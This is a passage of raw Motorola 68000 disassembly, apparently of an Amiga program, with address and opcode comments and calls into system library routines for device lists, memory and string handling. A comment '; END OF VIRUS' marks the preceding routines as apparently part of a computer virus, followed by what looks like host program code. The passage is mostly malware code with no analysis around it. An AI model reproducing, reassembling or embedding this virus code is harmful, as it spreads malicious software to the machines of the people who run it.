MOVEA.L (A3),A3 ;14B8: 2653
LAB_00FB:
MOVE.L A3,D0 ;14BA: 200B
BNE.S LAB_00F4 ;14BC: 66A4
LAB_00FC:
MOVEM.L (A7)+,D2/D7/A2-A3/A6 ;14BE: 4CDF4C84
UNLK A5 ;14C2: 4E5D
RTS ;14C4: 4E75
LAB_00FD:
LINK A5,#-64 ;14C6: 4E55FFC0
MOVEM.L D2-D3/D5-D7/A2-A3/A6,-(A7) ;14CA: 48E73732
MOVEA.L 8(A5),A3 ;14CE: 266D0008
MOVE.L D0,D7 ;14D2: 2E00
MOVEM.L A0-A1,-60(A5) ;14D4: 48ED0300FFC4
MOVEQ #0,D6 ;14DA: 7C00
MOVEQ #17,D1 ;14DC: 7211
MOVEA.L -60(A5),A6 ;14DE: 2C6DFFC4
JSR -654(A6) ;14E2: 4EAEFD72
MOVE.L D0,32(A7) ;14E6: 2F400020
TST.L D0 ;14EA: 4A80
BNE.S LAB_00FE ;14EC: 660A
LEA LAB_00BD(PC),A0 ;14EE: 41FAFD14
MOVE.L A0,D0 ;14F2: 2008
BRA LAB_0108 ;14F4: 600000BC
LAB_00FE:
CLR.L -16(A5) ;14F8: 42ADFFF0
LSR.L #2,D7 ;14FC: E48F
MOVEA.L 12(A5),A2 ;14FE: 246D000C
BRA LAB_0106 ;1502: 6000009A
LAB_00FF:
LEA -47(A5),A0 ;1506: 41EDFFD1
MOVEA.L A3,A1 ;150A: 224B
BSR LAB_0109 ;150C: 610000AC
MOVEA.L D0,A3 ;1510: 2640
MOVEA.L A3,A0 ;1512: 204B
MOVE.L A0,-16(A5) ;1514: 2B48FFF0
BNE LAB_0107 ;1518: 6600008C
MOVE.B -47(A5),D0 ;151C: 102DFFD1
TST.B D0 ;1520: 4A00
BEQ LAB_0107 ;1522: 67000082
MOVEA.L -56(A5),A0 ;1526: 206DFFC8
LEA -47(A5),A1 ;152A: 43EDFFD1
JSR LAB_0112(PC) ;152E: 4EBA00D8
TST.L D0 ;1532: 4A80
BNE.S LAB_0100 ;1534: 6606
LEA LAB_00DA(PC),A3 ;1536: 47FAFDB2
BRA.S LAB_0107 ;153A: 606A
LAB_0100:
MOVE.L 32(A7),D1 ;153C: 222F0020
LEA -47(A5),A0 ;1540: 41EDFFD1
MOVE.L A0,D2 ;1544: 2408
MOVEQ #16,D3 ;1546: 7610
MOVEA.L -60(A5),A6 ;1548: 2C6DFFC4
JSR -684(A6) ;154C: 4EAEFD54
MOVEA.L D0,A2 ;1550: 2440
MOVEA.L -16(A5),A3 ;1552: 266DFFF0
MOVE.L A2,D0 ;1556: 200A
BEQ.S LAB_0107 ;1558: 674C
MOVE.L 4(A2),D0 ;155A: 202A0004
MOVEQ #4,D1 ;155E: 7204
CMP.L D1,D0 ;1560: B081
BEQ.S LAB_0101 ;1562: 6704
SUBQ.L #3,D0 ;1564: 5780
BNE.S LAB_0107 ;1566: 663E
LAB_0101:
MOVEQ #0,D5 ;1568: 7A00
MOVEA.L 12(A5),A3 ;156A: 266D000C
BRA.S LAB_0104 ;156E: 6010
LAB_0102:
MOVEA.L (A3),A0 ;1570: 2053
CMPA.L A2,A0 ;1572: B1CA
BNE.S LAB_0103 ;1574: 6606
LEA LAB_00DA(PC),A3 ;1576: 47FAFD72
BRA.S LAB_0107 ;157A: 602A
LAB_0103:
ADDQ.L #1,D5 ;157C: 5285
ADDQ.L #4,A3 ;157E: 588B
LAB_0104:
CMP.L D6,D5 ;1580: BA86
BLT.S LAB_0102 ;1582: 6DEC
CMP.L D7,D6 ;1584: BC87
BLT.S LAB_0105 ;1586: 6D06
LEA LAB_00BD(PC),A3 ;1588: 47FAFC7A
BRA.S LAB_0107 ;158C: 6018
LAB_0105:
ADDQ.L #1,D6 ;158E: 5286
MOVEA.L -52(A5),A0 ;1590: 206DFFCC
MOVE.L A2,(A0) ;1594: 208A
MOVEA.L 16(A2),A3 ;1596: 266A0010
LEA 4(A0),A2 ;159A: 45E80004
LAB_0106:
MOVE.L A2,-52(A5) ;159E: 2B4AFFCC
BRA LAB_00FF ;15A2: 6000FF62
LAB_0107:
MOVEQ #17,D1 ;15A6: 7211
MOVEA.L -60(A5),A6 ;15A8: 2C6DFFC4
JSR -660(A6) ;15AC: 4EAEFD6C
MOVE.L A3,D0 ;15B0: 200B
LAB_0108:
MOVEM.L (A7)+,D2-D3/D5-D7/A2-A3/A6 ;15B2: 4CDF4CEC
UNLK A5 ;15B6: 4E5D
RTS ;15B8: 4E75
LAB_0109:
MOVEM.L D7/A2-A3,-(A7) ;15BA: 48E70130
MOVEA.L A0,A3 ;15BE: 2648
MOVEA.L A1,A2 ;15C0: 2449
MOVEQ #0,D7 ;15C2: 7E00
BRA.S LAB_010B ;15C4: 6002
LAB_010A:
ADDQ.L #1,D7 ;15C6: 5287
LAB_010B:
MOVE.B 0(A2,D7.L),D0 ;15C8: 10327800
BEQ.S LAB_010C ;15CC: 6706
MOVEQ #58,D1 ;15CE: 723A
CMP.B D1,D0 ;15D0: B001
BNE.S LAB_010A ;15D2: 66F2
LAB_010C:
TST.B 0(A2,D7.L) ;15D4: 4A327800
BNE.S LAB_010D ;15D8: 6606
CLR.B (A3) ;15DA: 4213
MOVEQ #0,D0 ;15DC: 7000
BRA.S LAB_0111 ;15DE: 6022
LAB_010D:
MOVEQ #30,D0 ;15E0: 701E
CMP.L D0,D7 ;15E2: BE80
BLT.S LAB_010E ;15E4: 6D08
LEA LAB_00BD(PC),A0 ;15E6: 41FAFC1C
MOVE.L A0,D0 ;15EA: 2008
BRA.S LAB_0111 ;15EC: 6014
LAB_010E:
MOVE.L D7,D0 ;15EE: 2007
MOVEA.L A2,A0 ;15F0: 204A
MOVEA.L A3,A1 ;15F2: 224B
BRA.S LAB_0110 ;15F4: 6002
LAB_010F:
MOVE.B (A0)+,(A1)+ ;15F6: 12D8
LAB_0110:
SUBQ.L #1,D0 ;15F8: 5380
BCC.S LAB_010F ;15FA: 64FA
CLR.B 0(A3,D7.L) ;15FC: 42337800
MOVEQ #0,D0 ;1600: 7000
LAB_0111:
MOVEM.L (A7)+,D7/A2-A3 ;1602: 4CDF0C80
RTS ;1606: 4E75
LAB_0112:
MOVEQ #0,D0 ;1608: 7000
MOVEQ #0,D1 ;160A: 7200
LAB_0113:
MOVE.B (A0)+,D0 ;160C: 1018
MOVE.B (A1)+,D1 ;160E: 1219
CMP.B #$61,D0 ;1610: B03C0061
BLT.S LAB_0114 ;1614: 6D0A
CMP.B #$7A,D0 ;1616: B03C007A
BGT.S LAB_0114 ;161A: 6E04
SUBI.B #$20,D0 ;161C: 04000020
LAB_0114:
CMP.B #$61,D1 ;1620: B23C0061
BLT.S LAB_0115 ;1624: 6D0A
CMP.B #$7A,D1 ;1626: B23C007A
BGT.S LAB_0115 ;162A: 6E04
SUBI.B #$20,D1 ;162C: 04010020
LAB_0115:
SUB.L D1,D0 ;1630: 9081
BNE.S LAB_0116 ;1632: 6604
TST.B D1 ;1634: 4A01
BNE.S LAB_0113 ;1636: 66D4
LAB_0116:
RTS ;1638: 4E75
ORI.B #$00,D0 ;163A: 00000000
DC.W $0000 ;163E
LAB_0117:
BSET D1,0(A2,D0.W) ;1640: 03F20000
ORI.B #$00,D0 ;1644: 00000000
ORI.B #$00,D0 ;1648: 00000000
ORI.B #$00,D0 ;164C: 00000000
ORI.B #$00,D0 ;1650: 00000000
LAB_0118:
ORI.B #$00,D0 ;1654: 00000000
ORI.B #$00,D0 ;1658: 00000000
ORI.B #$00,D0 ;165C: 00000000
ORI.B #$00,D0 ;1660: 00000000
ORI.B #$00,D0 ;1664: 00000000
ORI.B #$00,D0 ;1668: 00000000
ORI.B #$00,D0 ;166C: 00000000
; END OF VIRUS
LAB_0119:
LINK A5,#0 ;1670: 4E550000
MOVEM.L D2/A2-A3/A6,-(A7) ;1674: 48E72032
MOVEA.L 8(A5),A3 ;1678: 266D0008
MOVEA.L 12(A5),A2 ;167C: 246D000C
MOVE.L A2,D1 ;1680: 220A
LEA 16(A5),A0 ;1682: 41ED0010
MOVE.L A0,D2 ;1686: 2408
MOVEA.L A3,A6 ;1688: 2C4B
JSR -606(A6) ;168A: 4EAEFDA2
MOVEM.L (A7)+,D2/A2-A3/A6 ;168E: 4CDF4C04
UNLK A5 ;1692: 4E5D
RTS ;1694: 4E75
LAB_011A:
LINK A5,#-20 ;1696: 4E55FFEC
MOVEM.L D2/D7/A2-A3/A6,-(A7) ;169A: 48E72132
MOVEA.L A0,A3 ;169E: 2648
MOVE.L D0,D7 ;16A0: 2E00
MOVE.L A1,-16(A5) ;16A2: 2B49FFF0
MOVEA #$0004,A0 ;16A6: 307C0004
MOVEA.L (A0),A1 ;16AA: 2250
MOVE.L A1,20(A7) ;16AC: 2F490014
MOVEA.L A1,A6 ;16B0: 2C49
SUBA.L A1,A1 ;16B2: 93C9
JSR -294(A6) ;16B4: 4EAEFEDA
MOVEA.L D0,A2 ;16B8: 2440
MOVE.L 172(A2),D0 ;16BA: 202A00AC
ASL.L #2,D0 ;16BE: E580
MOVE.L D0,-8(A5) ;16C0: 2B40FFF8
TST.L D0 ;16C4: 4A80
BNE LAB_0121 ;16C6: 66000100
MOVE.L A3,D1 ;16CA: 220B
BEQ LAB_0121 ;16CC: 670000FA
MOVEQ #4,D1 ;16D0: 7204
MOVEQ #0,D2 ;16D2: 7400
MOVEA.L -16(A5),A6 ;16D4: 2C6DFFF0
JSR -228(A6) ;16D8: 4EAEFF1C
MOVE.L D0,-8(A5) ;16DC: 2B40FFF8
TST.L D0 ;16E0: 4A80
BEQ LAB_0121 ;16E2: 670000E4
MOVE.L D7,D1 ;16E6: 2207
ADDQ.L #3,D1 ;16E8: 5681
LSR.L #2,D1 ;16EA: E489
MOVEA.L D0,A0 ;16EC: 2040
MOVE.L D1,52(A0) ;16EE: 21410034
MOVE.L D0,D1 ;16F2: 2200
ASR.L #2,D1 ;16F4: E481
MOVE.L D1,172(A2) ;16F6: 254100AC
BSET #2,195(A2) ;16FA: 08EA000200C3
MOVEA.L 20(A7),A6 ;1700: 2C6F0014
JSR -132(A6) ;1704: 4EAEFF7C
MOVEA.L 14(A3),A2 ;1708: 246B000E
MOVE.L A2,D0 ;170C: 200A
BEQ LAB_0120 ;170E: 670000B0
MOVEQ #3,D0 ;1712: 7003
AND.B 14(A2),D0 ;1714: C02A000E
TST.B D0 ;1718: 4A00
BNE LAB_0120 ;171A: 660000A4
MOVEA.L 16(A2),A2 ;171E: 246A0010
MOVE.L A2,D0 ;1722: 200A
BEQ LAB_0120 ;1724: 6700009A
MOVEQ #13,D0 ;1728: 700D
CMP.B 8(A2),D0 ;172A: B02A0008
BNE LAB_0120 ;172E: 66000090
MOVE.L 172(A2),D0 ;1732: 202A00AC
ASL.L #2,D0 ;1736: E580
MOVEA.L D0,A2 ;1738: 2440
MOVE.L A2,D0 ;173A: 200A
BEQ LAB_0120 ;173C: 67000082
MOVE.L 24(A2),D0 ;1740: 202A0018
ASL.L #2,D0 ;1744: E580
MOVEA.L D0,A3 ;1746: 2640
MOVE.L A3,D0 ;1748: 200B
BEQ.S LAB_011B ;174A: 670E
LEA 1(A3),A0 ;174C: 41EB0001
MOVE.L A0,D1 ;1750: 2208
MOVEA.L -16(A5),A6 ;1752: 2C6DFFF0
JSR -582(A6) ;1756: 4EAEFDBA
LAB_011B:
MOVE.L 8(A2),D0 ;175A: 202A0008
ASL.L #2,D0 ;175E: E580
MOVEA.L D0,A2 ;1760: 2440
MOVEA.L -8(A5),A0 ;1762: 206DFFF8
ADDQ.L #8,A0 ;1766: 5088
MOVE.L A0,-12(A5) ;1768: 2B48FFF4
BRA.S LAB_011F ;176C: 604E
LAB_011C:
TST.L 4(A2) ;176E: 4AAA0004
BEQ.S LAB_011E ;1772: 6742
MOVEQ #8,D0 ;1774: 7008
MOVE.L #$00010001,D1 ;1776: 223C00010001
MOVEA.L 20(A7),A6 ;177C: 2C6F0014
JSR -684(A6) ;1780: 4EAEFD54
MOVEA.L D0,A3 ;1784: 2640
MOVE.L A3,D0 ;1786: 200B
BEQ.S LAB_0120 ;1788: 6736
MOVE.L 4(A2),D1 ;178A: 222A0004
MOVEA.L -16(A5),A6 ;178E: 2C6DFFF0
JSR -96(A6) ;1792: 4EAEFFA0
MOVE.L D0,4(A3) ;1796: 27400004
BNE.S LAB_011D ;179A: 660C
MOVEA.L A3,A1 ;179C: 224B
MOVEA.L 20(A7),A6 ;179E: 2C6F0014
JSR -690(A6) ;17A2: 4EAEFD4E
BRA.S LAB_0120 ;17A6: 6018
LAB_011D:
MOVE.L A3,D0 ;17A8: 200B
ASR.L #2,D0 ;17AA: E480
MOVEA.L -12(A5),A0 ;17AC: 206DFFF4
MOVE.L D0,(A0) ;17B0: 2080
MOVE.L A3,-12(A5) ;17B2: 2B4BFFF4
LAB_011E:
MOVE.L (A2),D0 ;17B6: 2012
ASL.L #2,D0 ;17B8: E580
MOVEA.L D0,A2 ;17BA: 2440
LAB_011F:
MOVE.L A2,D0 ;17BC: 200A
BNE.S LAB_011C ;17BE: 66AE
LAB_0120:
MOVEA.L 20(A7),A6 ;17C0: 2C6F0014
JSR -138(A6) ;17C4: 4EAEFF76
LAB_0121:
MOVE.L -8(A5),D0 ;17C8: 202DFFF8
MOVEM.L (A7)+,D2/D7/A2-A3/A6 ;17CC: 4CDF4C84
UNLK A5 ;17D0: 4E5D
RTS ;17D2: 4E75
LAB_0122:
MOVEM.L A2-A4/A6,-(A7) ;17D4: 48E7003A
MOVEA.L 20(A7),A3 ;17D8: 266F0014
MOVEA.L 24(A7),A0 ;17DC: 206F0018
LEA 28(A7),A1 ;17E0: 43EF001C
LEA LAB_0123(PC),A2 ;17E4: 45FA0012
MOVEA.L ABSEXECBASE,A6 ;17E8: 2C7900000004
JSR -522(A6) ;17EE: 4EAEFDF6
MOVEM.L (A7)+,A2-A4/A6 ;17F2: 4CDF5C00
RTS ;17F6: 4E75
LAB_0123:
MOVE.B D0,(A3)+ ;17F8: 16C0
RTS ;17FA: 4E75
LAB_0124:
MOVE.L A0,D1 ;17FC: 2208
BRA.S LAB_0126 ;17FE: 6004
LAB_0125:
MOVE.B (A1)+,(A0)+ ;1800: 10D9
BEQ.S LAB_0128 ;1802: 6708
LAB_0126:
SUBQ.L #1,D0 ;1804: 5380
BCC.S LAB_0125 ;1806: 64F8
BRA.S LAB_0129 ;1808: 6006
LAB_0127:
CLR.B (A0)+ ;180A: 4218
LAB_0128:
SUBQ.L #1,D0 ;180C: 5380
BCC.S LAB_0127 ;180E: 64FA
LAB_0129:
MOVE.L D1,D0 ;1810: 2001
RTS ;1812: 4E75
LAB_012A:
MOVE.L A0,D0 ;1814: 2008
LAB_012B:
TST.B (A0)+ ;1816: 4A18
BNE.S LAB_012B ;1818: 66FC
SUBQ.L #1,A0 ;181A: 5388
LAB_012C:
MOVE.B (A1)+,(A0)+ ;181C: 10D9
BNE.S LAB_012C ;181E: 66FC
RTS ;1820: 4E75
DC.W $0000 ;1822
LAB_012D:
MOVEM.L D2-D3,-(A7) ;1824: 48E73000
MOVE.L D0,D2 ;1828: 2400
MOVE.L D1,D3 ;182A: 2601
SWAP D2 ;182C: 4842
SWAP D3 ;182E: 4843
MULU D1,D2 ;1830: C4C1
MULU D0,D3 ;1832: C6C0
MULU D1,D0 ;1834: C0C1
ADD D3,D2 ;1836: D443
SWAP D2 ;1838: 4842
CLR D2 ;183A: 4242
ADD.L D2,D0 ;183C: D082
MOVEM.L (A7)+,D2-D3 ;183E: 4CDF000C
RTS ;1842: 4E75
SECTION S_1,DATA
SECSTRT_1:
DC.L LAB_0011 ;1844: 000002EE
END